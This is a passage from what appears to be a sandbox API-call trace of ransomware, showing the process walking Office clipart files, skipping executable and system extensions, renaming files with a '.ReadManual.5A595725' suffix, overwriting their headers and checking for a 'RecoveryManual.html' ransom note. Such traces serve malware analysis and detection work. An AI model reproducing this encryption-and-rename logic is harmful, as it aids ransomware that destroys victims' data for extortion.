psz2="cmd") returned 1 [0271.074] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.074] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.074] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.074] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.074] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.074] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" [0271.074] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.ReadManual.5A595725" [0271.074] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.ReadManual.5A595725") returned 87 [0271.074] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39174289213) returned 1 [0271.074] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0271.074] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.075] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7347) returned 1 [0271.075] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cb3, lpName=0x0) returned 0x184 [0271.075] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.075] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.075] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.077] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.077] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cb3) returned 0x2f0000 [0271.077] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.077] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39174623447) returned 1 [0271.078] CloseHandle (hObject=0x184) returned 1 [0271.078] SetSecurityInfo () returned 0x57 [0271.078] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.078] CloseHandle (hObject=0x194) returned 1 [0271.078] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_09.MID", cAlternateFileName="")) returned 1 [0271.078] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PARNT_09.MID" | out: lpString1="PARNT_09.MID") returned="PARNT_09.MID" [0271.078] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="RecoveryManual.html") returned -1 [0271.078] StrStrIW (lpFirst="PARNT_09.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.078] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.078] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.078] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.078] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.078] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.078] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.078] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.078] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.078] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.078] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.078] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.078] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.078] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.078] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.078] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" [0271.078] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.ReadManual.5A595725" [0271.078] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.ReadManual.5A595725") returned 87 [0271.078] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39174711986) returned 1 [0271.078] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0271.079] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.079] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6764) returned 1 [0271.079] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a6c, lpName=0x0) returned 0x184 [0271.079] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.080] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.080] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.081] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.082] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a6c) returned 0x2f0000 [0271.082] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.082] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39175055787) returned 1 [0271.082] CloseHandle (hObject=0x184) returned 1 [0271.082] SetSecurityInfo () returned 0x57 [0271.082] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.082] CloseHandle (hObject=0x194) returned 1 [0271.082] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_10.MID", cAlternateFileName="")) returned 1 [0271.082] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PARNT_10.MID" | out: lpString1="PARNT_10.MID") returned="PARNT_10.MID" [0271.082] lstrcmpiW (lpString1="PARNT_10.MID", lpString2="RecoveryManual.html") returned -1 [0271.082] StrStrIW (lpFirst="PARNT_10.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.082] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.082] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.082] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.082] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.082] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.082] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.082] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.082] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.082] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.082] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.082] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.082] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.082] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.083] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.083] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" [0271.083] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.ReadManual.5A595725" [0271.083] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.ReadManual.5A595725") returned 87 [0271.083] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39175141303) returned 1 [0271.083] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0271.083] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.083] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5393) returned 1 [0271.083] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1511, lpName=0x0) returned 0x184 [0271.083] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.084] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.084] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.086] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.086] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1511) returned 0x2f0000 [0271.086] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.086] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39175477552) returned 1 [0271.086] CloseHandle (hObject=0x184) returned 1 [0271.086] SetSecurityInfo () returned 0x57 [0271.086] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.086] CloseHandle (hObject=0x194) returned 1 [0271.086] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00013_.WMF", cAlternateFileName="")) returned 1 [0271.086] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00013_.WMF" | out: lpString1="PE00013_.WMF") returned="PE00013_.WMF" [0271.086] lstrcmpiW (lpString1="PE00013_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.086] StrStrIW (lpFirst="PE00013_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.086] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.086] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.086] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.086] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.086] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.087] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.087] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.087] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.087] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.087] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.087] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.087] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.087] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.087] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.087] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" [0271.087] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.ReadManual.5A595725" [0271.087] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.ReadManual.5A595725") returned 87 [0271.087] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39175580073) returned 1 [0271.087] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf")) returned 0x20 [0271.087] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.088] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24896) returned 1 [0271.088] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6140, lpName=0x0) returned 0x184 [0271.088] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.088] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.088] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.090] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.091] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6140) returned 0x2f0000 [0271.091] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.091] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39175982786) returned 1 [0271.091] CloseHandle (hObject=0x184) returned 1 [0271.091] SetSecurityInfo () returned 0x57 [0271.091] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.091] CloseHandle (hObject=0x194) returned 1 [0271.091] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00014_.WMF", cAlternateFileName="")) returned 1 [0271.091] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00014_.WMF" | out: lpString1="PE00014_.WMF") returned="PE00014_.WMF" [0271.091] lstrcmpiW (lpString1="PE00014_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.091] StrStrIW (lpFirst="PE00014_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.092] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.092] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.092] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" [0271.092] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.ReadManual.5A595725" [0271.092] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.ReadManual.5A595725") returned 87 [0271.092] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39176081780) returned 1 [0271.092] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf")) returned 0x20 [0271.092] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.093] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16666) returned 1 [0271.093] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x411a, lpName=0x0) returned 0x184 [0271.093] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.093] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.093] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.096] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.096] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x411a) returned 0x2f0000 [0271.096] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.096] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39176495758) returned 1 [0271.096] CloseHandle (hObject=0x184) returned 1 [0271.096] SetSecurityInfo () returned 0x57 [0271.096] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.096] CloseHandle (hObject=0x194) returned 1 [0271.097] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00034_.WMF", cAlternateFileName="")) returned 1 [0271.097] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00034_.WMF" | out: lpString1="PE00034_.WMF") returned="PE00034_.WMF" [0271.097] lstrcmpiW (lpString1="PE00034_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.097] StrStrIW (lpFirst="PE00034_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.097] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.097] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.097] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" [0271.097] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.ReadManual.5A595725" [0271.097] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.ReadManual.5A595725") returned 87 [0271.097] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39176604075) returned 1 [0271.097] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf")) returned 0x20 [0271.098] CreateFileW (lpFileName="\\\\?\\c:\\Program 